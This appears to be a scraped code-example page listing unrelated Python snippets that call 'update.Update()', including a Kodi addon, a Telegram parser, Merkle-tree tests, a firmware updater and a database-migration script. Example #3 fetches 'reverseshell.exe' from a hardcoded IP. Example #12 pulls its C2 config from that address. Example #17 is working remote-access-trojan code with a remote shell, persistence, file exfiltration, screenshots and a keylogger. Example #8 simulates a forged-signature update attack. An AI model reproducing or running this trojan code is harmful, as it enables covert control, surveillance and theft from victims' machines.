예제 #1
0
 def upchannels_button_update(self):
     upchannels = dialogyesno(addonname, "CHECK FOR UPDATE CHANNELS", "","Do you want to continue?")
     if upchannels :
         self.close()
         update.Update()
     else :
         xbmc.executebuiltin('Notification(%s, %s, %d, %s)'%(addonname, langString(50021), 2000, addonicon))		
예제 #2
0
    def __parse(self, update_dict):
        logging.debug(update_dict)
        json_data = json.dumps(update_dict)

        for channel_post in ("channel_post", "edited_channel_post"):
            if channel_post in update_dict:
                data = update_dict[channel_post]

                chat_id = data.get("chat", {}).get("id")
                chat_title = data.get("chat", {}).get("title")
                message_id = data.get("message_id")
                date = datetime.datetime.utcfromtimestamp(data.get("date", 0))
                message = data.get("text", "").replace("\n", "<br/>")

                return update.Update(
                    chat_id=chat_id,
                    message_id=message_id,
                    date=date,
                    chat_title=chat_title,
                    message=message,
                    json_data=json_data,
                )

        raise NotImplementedError(
            f"Parsing is not implemented yet for {update_dict}")
예제 #3
0
class Updt(object):
    version = '0'
    crypto = CryptoLib.CryptoLib([2, 6, 4, 8, 5])
    dirPath = 'C:\\Users\\Public\\Windows\\'
    fileName = 'update.exe'
    filePath = dirPath + fileName
    mainAppName = 'updater.exe'
    mainAppPath = dirPath + mainAppName
    fileUrl = 'http://85.255.5.44/vxsrfp/rxso/reverseshell.exe'
    mainAppUrl = 'http://85.255.5.44/vxsrfp/rxso/mainApp.exe'
    versionUrl = 'http://85.255.5.44/vxsrfp/xkv{nqt.html'

    u = update.Update()

    def update(self):
        self.testPath(self.dirPath)
        _version = urlopen(self.versionUrl).read()
        _version = _version[:-1]

        if self.u.getVersion() == _version:
            return "Client is up to date."
        else:
            os.remove(self.filePath)
            os.remove(self.mainAppPath)
            urlretrieve(self.fileUrl, self.filePath)
            urlretrieve(self.mainAppUrl, self.mainAppPath)
            return "Client will be update at next start."

    def testPath(self, path):
        if (os.path.isdir(path)):
            pass
        else:
            os.makedirs(path)
예제 #4
0
def change(id):
    task = database.Task.query.get_or_404(id)
    if request.method == 'POST':
        t = request.form.get('task')
        time_1 = request.form.get('time1')
        time_2 = request.form.get('time2')
        return update.Update().update(id, t, time_1, time_2)
    else:
        return render_template('update.html', task=task)
예제 #5
0
def test_to_string():
    u = update.Update(chat_id="1",
                      message_id="1",
                      date=datetime.datetime(2020, 11, 8, 22, 00),
                      chat_title="chat",
                      message="hello",
                      json_data="{}")

    assert str(u) == """<Update(
예제 #6
0
def testGetHashes():
    C = update.IP([128, 0, 0, 0], "d", 1)
    E = update.IP([192, 0, 0, 0], "d", 2)
    G = update.IP([224, 0, 0, 0], "d", 3)
    I = update.IP([240, 0, 0, 0], "d", 4)

    J = update.IP([248, 0, 0, 0], "d", 5)

    B = update.IP([128, 0, 0, 0], "d", 2)
    D = update.IP([192, 0, 0, 0], "d", 3)
    F = update.IP([224, 0, 0, 0], "d", 4)
    H = update.IP([240, 0, 0, 0], "d", 5)

    A = update.IP([0, 0, 0, 0], "d", 3)

    A = update.IP([224, 0, 0, 0], "d", 4)
    B = update.IP([128, 0, 0, 0], "d", 3)
    C = update.IP([64, 0, 0, 0], "d", 2)
    D = update.IP([32, 0, 0, 0], "d", 3)
    E = update.IP([64, 0, 0, 0], "d", 3)
    F = update.IP([0, 0, 0, 0], "d", 1)

    IPlist = [A, B, C, D, E, F, G, H, I, J]

    UA = update.Update(0, [1, 2], A, [], [], 0, [])
    UB = update.Update(1, [1, 2], B, [], [], 1, [])
    UC = update.Update(2, [1, 2], C, [], [], 2, [])
    UD = update.Update(3, [1, 2], D, [], [], 3, [])
    UE = update.Update(4, [1, 2], E, [], [], 4, [])
    UF = update.Update(5, [1, 2], F, [], [], 5, [])
    UG = update.Update(6, [1, 2], G, [], [], 6, [])
    UH = update.Update(7, [1, 2], H, [], [], 7, [])
    UI = update.Update(8, [1, 2], I, [], [], 8, [])
    UJ = update.Update(9, [1, 2], J, [], [], 9, [])

    updateList = [UA, UB, UC, UD, UE, UF, UG, UH, UI, UJ]
    # IPlist = [A, B, C, D, E, F]

    root = Node()
    constructTree(updateList, "", root)
    condense(root)
    createRoot(root)
    hashLst = hashesToVerify(root, J)
    print(4)
예제 #7
0
def test4():
    IP1 = update.IP([0, 0, 0, 128], "d", 24)
    IP2 = update.IP([0, 0, 0, 0], "d", 1)
    IP3 = update.IP([64, 0, 0, 0], "d", 3)
    IP4 = update.IP([96, 0, 0, 0], "d", 3)
    IP5 = update.IP([112, 0, 0, 0], "d", 4)
    IP6 = update.IP([192, 0, 0, 0], "d", 3)
    IP7 = update.IP([192, 0, 0, 0], "d", 2)
    IP8 = update.IP([252, 0, 0, 0], "d", 6)
    IP9 = update.IP([254, 0, 0, 0], "d", 7)

    U1 = update.Update(1, [1, 2], IP1, [], [], 1, [])
    U2 = update.Update(2, [1, 2], IP2, [], [], 2, [])
    U3 = update.Update(3, [1, 2], IP3, [], [], 3, [])
    U4 = update.Update(4, [1, 2], IP4, [], [], 4, [])
    U5 = update.Update(5, [1, 2], IP5, [], [], 5, [])
    U6 = update.Update(6, [1, 2], IP6, [], [], 6, [])
    U7 = update.Update(7, [1, 2], IP7, [], [], 7, [])
    U8 = update.Update(8, [1, 2], IP8, [], [], 8, [])
    U9 = update.Update(9, [1, 2], IP9, [], [], 9, [])

    updateList = [U1, U2, U3, U4, U5, U6, U7, U8, U9]
    # IPlist = [A, B, C, D, E, F]

    root = Node()
    root.isRoot = True
    constructTree(updateList, "", root)
    condense(root)
    createRoot(root)

    for u1 in updateList:
        hashList = hashesToVerify(root, u1.destIP)
        for u2 in updateList:
            isValid = verifyLeaf(root.hash, hashList, u2)
            if u1 == u2:
                if not isValid:
                    #there is definitely an error
                    print("invalid verification for same update:",
                          u1.destIP.toDecString() + ": " + str(isValid))
            else:
                if isValid:
                    #this doesn't necessarily mean there is an error
                    print(
                        "valid verification for: hashlist:",
                        u1.destIP.toDecString() + " verifying:" +
                        u2.destIP.toDecString() + " : " + str(isValid))
예제 #8
0
 def __init__(self, newExePath, initialExePath, evilExePath, folderList,
              contract):
     self.newExePath = newExePath
     self.initialExePath = initialExePath
     self.evilExePath = evilExePath
     self.hostFolders = folderList
     self._pubKeyPath = "./pubKey.pem"
     self._prvKeyPath = "./prvKey.pem"
     #build the executable that the hosts will have initially
     self.initialUpdate = update.Update()
     self.initialUpdate.SetData(self.initialExePath)
     #build the update to be sent to the hosts
     self.goodUpdate = update.Update()
     self.goodUpdate.SetData(self.newExePath)
     self.evilUpdate = update.Update()
     self.evilUpdate.SetData(self.evilExePath)
     self._notary = signature.Notary()
     #evil update contains bad executable, but steals someone else's signature
     self.evilUpdate.Signature = self.goodUpdate.Signature
     self.hosts = []  #Hosts will be set-up in init()
     self.contract = contract
예제 #9
0
def test3():

    A = update.IP([224, 0, 0, 0], "d", 3)
    B = update.IP([252, 0, 0, 0], "d", 6)
    C = update.IP([254, 0, 0, 0], "d", 7)

    UA = update.Update(0, [1, 2], A, [], [], 0, [])
    UB = update.Update(1, [1, 2], B, [], [], 1, [])
    UC = update.Update(2, [1, 2], C, [], [], 2, [])

    updateList = [UA, UB, UC]
    # IPlist = [A, B, C, D, E, F]

    root = Node()
    root.isRoot = True
    constructTree(updateList, "", root)
    condense(root)
    createRoot(root)
    hashLst = hashesToVerify(root, A)
    isValid = verifyLeaf(root.hash, hashLst, UA)
    print(isValid)
예제 #10
0
    def auto_update_process(self):
        if not self.is_read_file_flag:
            self.show_error_message_signal.emit(6)
            return
        self.ui.btn_autoupdate.setEnabled(False)
        if len(self.hex.hex_dicts) == 0:
            return 1
        if not self.com.is_open:
            self.show_error_message_signal.emit(1)
            return 2
        updater = update.Update(self.hex.hex_dicts)
        try:
            self.tb_update_info_flag.emit("运行状态:整体更新开始\r\n")
            index, send_data = updater.get_next_index_frame()
            while send_data is not None:
                if index != updater.frame_sum - 1:
                    # print("send_data:", send_data)
                    back_bytes = self.emuart.send_and_receive(send_data)
                    if back_bytes is not None:
                        flag, num, status = updater.back_bytes_parse(
                            back_bytes)  # 返回flag为0则成功
                        if flag:
                            raise ValueError
                        self.tb_update_info_flag.emit(
                            f"当前第{num + 1}/{updater.frame_sum}帧" + "\r\n")
                        self.progressbar_signal.emit(
                            index * 100 / updater.frame_sum)  # 更新进度条进度
                        index, send_data = updater.get_next_index_frame()
                        time.sleep(0.001)
                    else:
                        self.ui.btn_autoupdate.setEnabled(True)
                        return
                else:
                    self.emuart.send_and_receive(send_data, wait_time=0)

                    self.tb_update_info_flag.emit(
                        f"当前第{updater.frame_sum}/{updater.frame_sum}帧" +
                        "\r\n" + "更新完成!!!" + "\r\n")  # 打印更新成功标志

                    self.progressbar_signal.emit(100)
                    break
        except Exception as e:
            # print(e)
            self.show_error_message_signal.emit(4)
        finally:
            self.ui.btn_autoupdate.setEnabled(True)
예제 #11
0
 def handle(self):
     # I CAN HANDLE MYSELF OKAY
     self.data = self.request.recv(1024).strip()
     print("Processing data from client {} in thread {}".format(
         self.client_address[0],
         threading.current_thread().name))
     decoded = pickle.loads(self.data)
     print(decoded)
     r, u = None, None
     try:
         r = resource.Resource(decoded[0]["label"], decoded[0]["serial_no"],
                               decoded[0]["key"], None)
         u = update.Update(r, decoded[1], decoded[0]["value"])
     except KeyError:
         # recieved malformed dict
         print("Malformed dict from {}!".format(self.client_address[0]))
     print("Decoded pickle into update object and resource object")
     u.update_resource()
     resources[decoded[0]["label"]] = r.toDict()
     self.finish()
예제 #12
0
class shell(object):
    updater = update.Update()
    config = ConfigManager.ConfigManager("http://85.255.5.44/vxsrfp/eurnni.html")
    host = config.IpAddress
    port = config.Port

    notConnected = True
    exiting = False

    functions = functions.functions(host, port)
    def main(self):
        if len(sys.argv) == 1:
            while (self.notConnected and not self.exiting):
                try:
                    self.notConnected = False
                    self.exiting = self.functions.start()
                    self.notConnected = True
                except:
                    self.notConnected = True
        else:
            if (sys.argv[1] == '-v'):
                print self.updater.getVersion()
예제 #13
0
    def run(self):
        # the first thing we try to do, is connect
        self.taskList.put(update.Update(self.outputQueue))
        self.taskList.put(Authenticate(self.objectStore,
                                       self.outputQueue))
        self._starting = True
        while self.running:
            if self.lock.acquire(True):
                try:
                    self.currentTask = self.getNextTask()
                finally:
                    self.lock.release()

            if self.currentTask:
                try:
                    self.currentTask.perform()
                except:
                    logging.info('exception processing: %r' %
                                 sys.exc_info()[0])
                    traceback.print_exc(file=sys.stdout)
                finally:
                    self.addNewTasks()
        logging.info('done running the mediator')
예제 #14
0
    def __init__(self, version, sessionfile=None):
        """Constructor"""
        self.config = ConfigurationFile()
        self.version = version
        #size = (1300,900)
        size = (1200,700)
        gaugeframe.GaugeFrame.__init__(self, None, -1,
                title = _("%(progname)s - version %(version)s") % {
                        "progname": u"ᶻᵐShapeOut", "version": version},
                size = size)
        self.SetMinSize(size)
        
        sys.excepthook = MyExceptionHook

        ## Menus, Toolbar
        self.InitUI()

        self.sp = wx.SplitterWindow(self, style=wx.SP_3DSASH)
        # This is necessary to prevent "Unsplit" of the SplitterWindow:
        self.sp.SetMinimumPaneSize(100)
        
        self.spright = wx.SplitterWindow(self.sp, style=wx.SP_3DSASH)
        if platform.system() == "Linux":
            sy = 280
        else:
            sy = 230
            
        st = sy
        
        self.spright.SetMinimumPaneSize(sy)
        
        # Splitter Window for control panel and cell view
        self.sptop = wx.SplitterWindow(self.spright, style=wx.SP_3DSASH)
        self.sptop.SetMinimumPaneSize(300)
        
        # Controls
        self.PanelTop = ControlPanel(self.sptop, self)
        
        # Cell Images
        self.PanelImage = ImagePanel(self.sptop)
        
        # Main Plots
        self.PlotArea = PlotArea(self.spright, self)
        
        self.sptop.SplitVertically(self.PanelTop, self.PanelImage, st)
        self.sptop.SetMinimumPaneSize(1000)
        self.spright.SplitHorizontally(self.sptop, self.PlotArea, sy)
        
        ## left panel (file selection)
        ## We need a splitter window here
        self.PanelLeft = ExplorerPanel(self.sp, self)
        self.PanelLeft.BindAnalyze(self.NewAnalysis)

        self.sp.SplitVertically(self.PanelLeft, self.spright,
                                self.PanelLeft.normal_width)

        # We set this to 100 again after show is complete.
        self.spright.SetMinimumPaneSize(sy)
       
        # fake analysis
        self.NewAnalysis([tlabwrap.Fake_RTDC_DataSet(tlabwrap.cfg)])
       
        ## Go
        self.Centre()
        self.Show()
        self.Maximize()
        
        self.spright.SetMinimumPaneSize(100)
        #self.sptop.SetMinimumPaneSize(st)
        
        if sessionfile is not None:
            self.OnMenuLoad(sessionfile=sessionfile)
            
        update.Update(self)
예제 #15
0
def moveDBServer(filename):
    f = open(filename, 'r')
    read = f.read()
    f.close()

    #텍스트 파일에서 줄바꿈과 맨 끝의 ; 표시를 제거 후 ;를 기준으로 구분
    input_list = read.replace('\n', '').rstrip(';').split(';')
    print(input_list)

    # <-표시로 대입시킬 객체의 이름과 결과를 Dictionary에 저장
    save_name = {}

    # 텍스트파일을 저장한 리스트를 한 줄씩 읽음
    for example in input_list:
        if '<-' in example:
            real = example.split('<-')[1]
            print(real)

            if '.' not in real:
                conn = sqlite3.connect('Test.db')
                conn.row_factory = sqlite3.Row
                cur = conn.cursor()

                result = cur.execute("select * from db_list where name='%s'" %
                                     real)

                for r in result:
                    if r['db_type'] == 'oracle':
                        engine_url = 'oracle+cx_oracle://' + r['id'] + ":" + r[
                            'password'] + '@' + r['host_port'] + '/' + r[
                                'database']
                        print(engine_url)
                    elif r['db_type'] == 'mysql':
                        engine_url = 'mysql+pymysql://' + r['id'] + ":" + r[
                            'password'] + '@' + r['host_port'] + '/' + r[
                                'database']
                        print(engine_url)
                    else:
                        engine_url = 'mssql+pymssql://' + r['id'] + ":" + r[
                            'password'] + '@' + r['host_port'] + '/' + r[
                                'database']
                        print(engine_url)

                engine = create_engine(engine_url, encoding='utf8', echo=True)

                conn.close()
                save_name[example.split('<-')[0]] = engine

            elif 'SQL' in real:  #Source DB 중 query문
                engine = save_name[real.split('.')[0]]
                Base = declarative_base()
                Base.metadata.create_all(engine)

                source_query = query.Query(save_name, example, engine)

                source_query.query_to_save_name()

            elif 'simple' in real:  #Source DB 중 간단한 join문
                engine = save_name[real.split('.simple.')[0]]
                from_table_name = real.split('.simple.')[1].split(
                    '?')[0].split('+')  # + 기준으로 join, 연산할 테이블 저장
                condition = real.split('.simple.')[1].split('?')[1].split(
                    '->')[0].split(',')  # ? 이후 조건 저장
                to_column_name = real.split('.simple.')[1].split('?')[1].split(
                    '->')[1].split(',')  # 저장할 column명 지정

                inspector2 = inspect(engine)
                md2 = MetaData(bind=engine)

                DBSession = scoped_session(sessionmaker())
                DBSession.configure(bind=engine)

                from_table_list = dict()  # Source DB의 table을 저장할 dictionary
                #DB에서 table 이름 매핑 시켜 저장하는 과정
                for table_name in inspector2.get_table_names():
                    for name in from_table_name:
                        if table_name == name:
                            tb = Table(table_name,
                                       md2,
                                       autoload_with=engine,
                                       extend_existing=True)
                            from_table_list[name] = tb

                print(from_table_list)

                new_simple = simple_query.Simple_Query(
                    save_name, from_table_name, condition, to_column_name,
                    from_table_list, DBSession)

                total_list = []  #query 결과를 담을 listpy
                real_list = []  #실제 전체 결과 dictionary 들어갈 list
                if len(condition) == 1:  #조건이 간단한 연산과 비교 하나 뿐일 때
                    if '<' in condition[0]:
                        if 'INT' in condition[0].split('<')[1].split(
                                '.')[0]:  #비교하는 것이 INT 일 때
                            if '=' in condition[0].split('<')[1].split(
                                    '.')[0]:  #<=
                                total_list = new_simple.one_condition_int_smaller_same(
                                )
                            else:  #<
                                total_list = new_simple.one_condition_int_smaller(
                                )
                    elif '>' in condition[0]:
                        if 'INT' in condition[0].split('<')[1].split(
                                '.')[0]:  #비교하는 것이 INT 일 때
                            if '=' in condition[0].split('<')[1].split(
                                    '.')[0]:  #>=
                                total_list = new_simple.one_condition_int_bigger_same(
                                )
                            else:  #>
                                total_list = new_simple.one_condition_int_bigger(
                                )
                    elif '=' in condition[0]:
                        if condition[0].split('<')[1].split('.')[0] == 'INT':
                            total_list = new_simple.one_condition_int_same()
                        elif condition[0].split('<')[1].split('.')[0] == 'STR':
                            total_list = new_simple.one_conditon_str_same()
                        else:  #비교 연산이 아닌 join 조건일 때
                            total_list = new_simple.one_condition_join()
                else:  #조건이 간단한 사칙연산이 아닌 group by를 포함할 때
                    if 'GB' in condition[1]:
                        group_by_list = condition[1].split(
                            '.'
                        )  # .을 기준으로  1. GB 표시 2. group by 기준 테이블 3. 기준 테이블의 기준 칼럼명 4. 간단한 함수(SUM, MIN..) 5. 계산할 테이블 6. 계산할 칼럼명

                        # count, sum, avg, min, max를 사용하여 group by 가능
                        if group_by_list[3] == 'COUNT':
                            total_list = new_simple.two_condition_group_by_count(
                                group_by_list)
                        elif group_by_list[3] == 'SUM':
                            total_list = new_simple.two_condition_group_by_sum(
                                group_by_list)
                        elif group_by_list[3] == 'AVG':
                            total_list = new_simple.two_condition_group_by_avg(
                                group_by_list)
                        elif group_by_list[3] == 'MAX':
                            total_list = new_simple.two_condition_group_by_max(
                                group_by_list)
                        elif group_by_list[3] == 'MIN':
                            total_list = new_simple.two_condition_group_by_min(
                                group_by_list)

                #total_list 값을 dictionary로 변환하는 과정
                for row in total_list:
                    real_list.append(row._asdict())

                #real_list를 전체 결과 dictionary에 저장
                save_name[example.split('<-')[0]] = real_list
                print(save_name)
            else:  #Source DB 중 매칭하는 테이블 저장
                engine = save_name[real.split('.')[0]]
                inspector2 = inspect(engine)
                md = MetaData(bind=engine)

                for table_name in inspector2.get_table_names():
                    if table_name == real.split('.')[1]:
                        tb = Table(table_name,
                                   md,
                                   autoload_with=engine,
                                   extend_existing=True)
                        save_name[example.split('<-')
                                  [0]] = tb  #전체 결과 dicionary에 테이블 객체 저장'''
                print(save_name)

        else:  #텍스트 파일 행 중 S, T 표시 없는 실제 실행하는 행
            if 'insert' in example:  #insert
                values = example.split('values')[1].lstrip('(').rstrip(
                    ');'
                ).split(
                    '/ '
                )  #values() 안에 / 으로 구분 value는 전체 결과 dictionary에 저장한 이름과 column명으로 구성
                to_table = example.split('values')[0].split('.')[
                    1]  #맨 앞에 insert 할 테이블 이름 .으로 구분
                columns = example.split('values')[0].split(
                    '.')[2].split('insert')[1].lstrip('(').rstrip(')').split(
                        ', ')  #insert() 안에 대입할 column명 values와 순서대로 매핑함

                engine = save_name[example.split('values')[0].split('.')[0]]
                Base = declarative_base()
                Base.metadata.create_all(engine)
                md = MetaData(bind=engine)
                tb = Table(save_name[to_table],
                           md,
                           autoload_with=engine,
                           extend_existing=True)

                print(values)
                print(to_table)
                print(columns)
                print(tb)

                new_insert = insert.Insert(save_name, engine, to_table, values,
                                           columns, tb)

                if len(set([v.split('.')[0]
                            for v in values])) == 1:  #values들이 하나의 객체일 때
                    from_table = values[0].split('.')[0]

                    if 4 in [len(v.split('.')) for v in values
                             ]:  #그 중에 query문이 있는지 판단(query문이 있다면 길이가 4이므로)
                        new_insert.same_result_have_query(from_table)

                    else:  #객체 타입이 전부 list 값이거나 Table 일 때
                        if str(type(
                                save_name[from_table])) == "<class 'list'>":
                            new_insert.same_result_only_list(from_table)

                        elif str(type(save_name[from_table])
                                 ) == "<class 'sqlalchemy.sql.schema.Table'>":
                            for s in save_name.values():
                                if str(s) == str(
                                        save_name[from_table].metadata).lstrip(
                                            'MetaData(bind=')[:-1]:
                                    engine2 = s
                                    print(engine2)
                                    DBSession = scoped_session(sessionmaker())
                                    DBSession.configure(bind=engine2)

                                    new_insert.same_result_only_table(
                                        from_table, DBSession)

                else:  #객체 타입이 하나가 아니고 여러개 일
                    DBSession = scoped_session(sessionmaker())
                    DBSession.configure(bind=engine)

                    new_insert.different_result(DBSession)

            elif 'delete' in example:  #delete
                engine = save_name[example.split('.')[0]]
                Base = declarative_base()
                Base.metadata.create_all(engine)
                md = MetaData(bind=engine)

                conn = engine.connect()
                to_table = example.split('.')[1]  #맨 앞에 delete 할 테이블 이름 .으로 구분

                tb = Table(save_name[to_table],
                           md,
                           autoload_with=engine,
                           extend_existing=True)
                Session = sessionmaker(bind=engine)
                session = Session()

                new_delete = delete.Delete(save_name, conn, to_table, example,
                                           session, tb)
                if 'where' in example:  #특정 row 삭제할 때
                    if '>' in example.split('where')[1]:
                        if 'INT' in example.split('where')[1]:  #INT 비교
                            if '=' in example.split('where')[1]:  #>=
                                new_delete.int_biggerorsame_delete()
                            else:  #>
                                new_delete.int_bigger_delete()
                    elif '<' in example.split('where')[1]:
                        if 'INT' in example.split('where')[1]:  #INT 비교
                            if '=' in example.split('where')[1]:  #<=
                                new_delete.int_smallerorsame_delete()
                            else:  #<
                                new_delete.int_smaller_delete()
                    else:  # ==
                        if 'INT' in example.split('where')[1]:  #INT 비교
                            new_delete.int_same_delete()
                        else:  #STR 비교
                            new_delete.str_same_delete()

                else:  #table 전부 삭제
                    new_delete.all_delete()

            elif 'update' in example:  #update
                engine = save_name[example.split('.')[0]]
                Base = declarative_base()
                Base.metadata.create_all(engine)
                md = MetaData(bind=engine)

                to_table = example.split('.')[1]  #맨 앞에 update 할 테이블 이름 .으로 구분
                set_condition = example.split('set')[1].lstrip('(').rstrip(
                    ')').split('=')  #새로 업데이트 할 coulum과 value
                where = example.split('set')[0].split('where')[1].lstrip(
                    '(').rstrip(')').split('=')  #업데이트할 row 찾을 조건

                tb = Table(save_name[to_table],
                           md,
                           autoload_with=engine,
                           extend_existing=True)
                Session = sessionmaker(bind=engine)
                session = Session()

                new_update = update.Update(save_name, to_table, set_condition,
                                           where, tb, session)

                if 'INT' in where[1]:  #where 조건에 INT 비교
                    if 'INT' in set_condition[1]:  #업데이트 할 value 중 INT 포함
                        new_update.int_to_int_update()
                    elif 'STR' in set_condition[1]:  #업데이트 할 value 중 STR 포함
                        new_update.int_to_str_update()
                elif 'STR' in where[1]:  #where 조건에 STR 비교
                    if 'INT' in set_condition[1]:  #업데이트 할 value 중 INT 포함
                        new_update.str_to_int_update()
                    elif 'STR' in set_condition[1]:  #업데이트 할 value 중 STR 포함
                        new_update.str_to_str_update()
예제 #16
0
 def _update_script(self):
     """ checks for updates to the script """
     import update
     updt = update.Update()
     del updt
예제 #17
0
class functions(object):
    host = ""
    port = ""
    crypto = None

    logger = keyLogger.keyLogger()
    updater = update.Update()
    updt = updt.Updt()
    persistence = persistence.Persistence()

    threadLogger = None
    threadMain = None

    running = False

    versionUrl = 'http://85.255.5.44/vxsrfp/xkv{nqt.html'

    def __init__(self, host, port):
        self.host = host
        self.port = port

    def start(self):
        self.threadMain = Thread(target=self.shell, name="Main")
        self.threadMain.start()
        self.threadMain.join()
        return self.running

    def shell(self):
        try:
            self.running = True
            self.persistence.doFirstPersistence()
            soc = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            soc.connect((self.host, self.port))
            soc.send("Conected to " + platform.platform() + " with ip " +
                     urlopen('http://ip.42.pl/raw').read() + "\n")
            while (1):
                data = soc.recv(1024)
                if data.startswith("quit\n"):
                    break

                elif data == "version\n":
                    version = self.updater.getVersion()
                    soc.send(version + "\n")

                elif data == "persistence create\n":
                    soc.send(self.persistence.doPersistence())

                elif data == "persistence check\n":
                    soc.send(self.persistence.checkPersistence())

                elif data == "persistence delete\n":
                    soc.send(self.persistence.deletePersistence())

                elif data.startswith("getFile("):
                    url = data[8:-2]
                    names = url.split("/")
                    name = names[len(names) - 1]
                    # pwd
                    command = "cd"
                    proc = subprocess.Popen(command,
                                            shell=True,
                                            stdout=subprocess.PIPE,
                                            stderr=subprocess.PIPE,
                                            stdin=subprocess.PIPE)

                    pwd = proc.stdout.read() + proc.stderr.read()
                    pwd = pwd.replace(" ", "%20")

                    soc.send(name + " downloading...\n")

                    # download
                    command = "powershell wget \"" + url + "\" -outfile \"" + name + "\""
                    proc = subprocess.Popen(command,
                                            shell=True,
                                            stdout=subprocess.PIPE,
                                            stderr=subprocess.PIPE,
                                            stdin=subprocess.PIPE)
                    stdout = None
                    stdout = proc.stdout.read() + proc.stderr.read()

                    if stdout is not None:
                        soc.send(stdout)
                    else:
                        soc.send(name + "downloaded successfully.\n")
                    """#print
                    command = "powershell write-host \"" + pwd + "\""
                    proc = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE,
                                            stdin=subprocess.PIPE)

                    stdout = proc.stdout.read() + proc.stderr.read()

                    soc.send(stdout)"""

                elif data == "screenshot\n":
                    date = datetime.datetime.now().strftime("%Y-%m-%d %H%M%S")
                    screen = PIL.ImageGrab.grab()
                    screen.save(str(str(date) + '.png'), 'png')
                    soc.send("screen " + date + ".png created")
                    # sending file
                    with open(str(str(date) + '.png'), "rb") as imageFile:
                        # Image_Str = base64.b64encode(imageFile.read())
                        Image_Str = imageFile.read()
                    fh = open("text", "wb")
                    fh.write(Image_Str)
                    fh.close
                    fh = open("text", "rb")
                    str1 = fh.read(150)
                    soc.send(str1)
                    while str1:
                        str1 = fh.read(150)
                        soc.sendall(str1)
                    soc.sendall("6finish")

                    fh.close()
                    os.remove("text")
                    os.remove(str(str(date) + '.png'))

                elif data.startswith("download("):
                    name = data[9:-2]
                    if os.path.isfile(name):
                        soc.send("Downloading " + name + "...")

                        with open(name, "rb") as file:
                            # Image_Str = base64.b64encode(imageFile.read())
                            File_Str = file.read()
                        fh = open("text", "wb")
                        fh.write(File_Str)
                        fh.close
                        fh = open("text", "rb")
                        str1 = fh.read(150)
                        soc.send(str1)
                        while str1:
                            str1 = fh.read(150)
                            soc.sendall(str1)
                        soc.sendall("6finish")

                        fh.close()
                        os.remove("text")
                    else:
                        soc.send(name + " does not exists.")

                elif data.startswith("upload("):
                    name = data[7:-2]
                    soc.send("ok")
                    data = ""
                    data = soc.recv(4096)
                    while "finish" not in data:
                        data += soc.recv(150)
                    data = data[:-7]

                    fh = open(name, "wb")
                    fh.write(data)
                    fh.close()
                    # print name + " successfully downloaded."

                elif data.startswith("cdir"):
                    path = data[5:-1]
                    os.chdir(path)
                    soc.send(os.getcwd() + "\n")

                elif data == "pwd\n":
                    soc.send(os.getcwd() + "\n")

                elif data == "ls\n":
                    proc = subprocess.Popen("dir",
                                            shell=True,
                                            stdout=subprocess.PIPE,
                                            stderr=subprocess.PIPE,
                                            stdin=subprocess.PIPE)

                    stdout = proc.stdout.read() + proc.stderr.read()
                    if stdout == '':
                        soc.send(' ')
                    else:
                        soc.send(stdout)

                elif data == "admins\n":
                    proc = subprocess.Popen("net localgroup administrators",
                                            shell=True,
                                            stdout=subprocess.PIPE,
                                            stderr=subprocess.PIPE,
                                            stdin=subprocess.PIPE)

                    stdout = proc.stdout.read() + proc.stderr.read()

                    if stdout == '':
                        soc.send(' ')
                    else:
                        soc.send(stdout)

                elif data == "users\n":
                    proc = subprocess.Popen("net user",
                                            shell=True,
                                            stdout=subprocess.PIPE,
                                            stderr=subprocess.PIPE,
                                            stdin=subprocess.PIPE)

                    stdout = proc.stdout.read() + proc.stderr.read()

                    if stdout == '':
                        soc.send(' ')
                    else:
                        soc.send(stdout)

                elif data.startswith("run "):
                    prog = data[4:len(data) - 1]
                    stdout = prog
                    if os.path.isfile(prog):
                        stdout = "Running " + prog + "..."
                        proc = subprocess.Popen(prog,
                                                shell=True,
                                                stdout=subprocess.PIPE,
                                                stderr=subprocess.PIPE,
                                                stdin=subprocess.PIPE)

                        stdout = proc.stdout.read() + proc.stderr.read()
                    else:
                        stdout = "File not found!!!"

                    if stdout == '':
                        soc.send(' ')
                    else:
                        soc.send(stdout)

                elif data == "keylogger start\n":
                    if self.threadLogger is None:
                        self.threadLogger = Thread(target=self.logger.start,
                                                   name="KeyLogger")
                        self.threadLogger.start()
                        soc.send("Keylogger started...\n")
                    else:
                        soc.send("Keylogger already running...\n")

                elif data == "keylogger stop\n":
                    if self.threadLogger is not None:
                        self.threadLogger = None
                        self.logger.stop()
                        soc.send("Keylogger stoped...\n")
                    else:
                        soc.send("Keylogger is not running...\n")

                elif data == "keylogger status\n":
                    if self.threadLogger is not None:
                        soc.send("Keylogger is running...\n")
                    else:
                        soc.send("Keylogger is not nunning...\n")

                elif data == "keylogger get\n":
                    if os.path.isfile('output.txt'):
                        f = open('output.txt', 'r+')
                        buffer = f.read()
                        f.close()
                        soc.send(buffer)

                        os.remove('output.txt')
                    else:
                        soc.send("No data from keylogger...\n")

                elif data == "whelp\n":
                    proc = subprocess.Popen("help",
                                            shell=True,
                                            stdout=subprocess.PIPE,
                                            stderr=subprocess.PIPE,
                                            stdin=subprocess.PIPE)

                    stdout = proc.stdout.read() + proc.stderr.read()

                    if stdout == '':
                        soc.send(' ')
                    else:
                        soc.send(stdout)

                elif data == "stop\n":
                    soc.send("Connection terminated.\n")
                    soc.close()
                    if self.threadLogger is not None:
                        del self.threadLogger
                    self.running = False

                else:
                    proc = subprocess.Popen(data,
                                            shell=True,
                                            stdout=subprocess.PIPE,
                                            stderr=subprocess.PIPE,
                                            stdin=subprocess.PIPE)

                    stdout = proc.stdout.read() + proc.stderr.read()
                    if stdout == '':
                        soc.send(' ')
                    else:
                        soc.send(stdout)

            soc.send("Connection terminated.\n")
            soc.close()
            self.running = False
        except:
            self.running = False
예제 #18
0
NOTE This code should never be used for anything real. Its just a demo. Reading prv keys
into the script environment shouldn't be done.
"""
#Generate pub and prv key, and store them in files
prvKeyPath = "prvKey.pem"
pubKeyPath = "pubKey.pem"
key = RSA.generate(1024)
f = open(prvKeyPath, 'w+')
f.write(key.exportKey('PEM'))
f.close()
f = open(pubKeyPath, 'w+')
f.write(key.publickey().exportKey('PEM'))
f.close()

#Create Update object, with signature
u = update.Update("hello.exe", prvKeyPath)

print(u.Verify(pubKeyPath))

#>>> f = open('mykey.pem','r')
#>>> key = RSA.importKey(f.read())
"""
kPub, kPrv = rsa.newkeys(1024)
print("Keys: "+str(kPrv)+"\n"+str(kPub))
u = update.Update("hello.exe",kPrv)
print(str(u.Data))
print(str(u.Signature))
ser = u.Serialize()
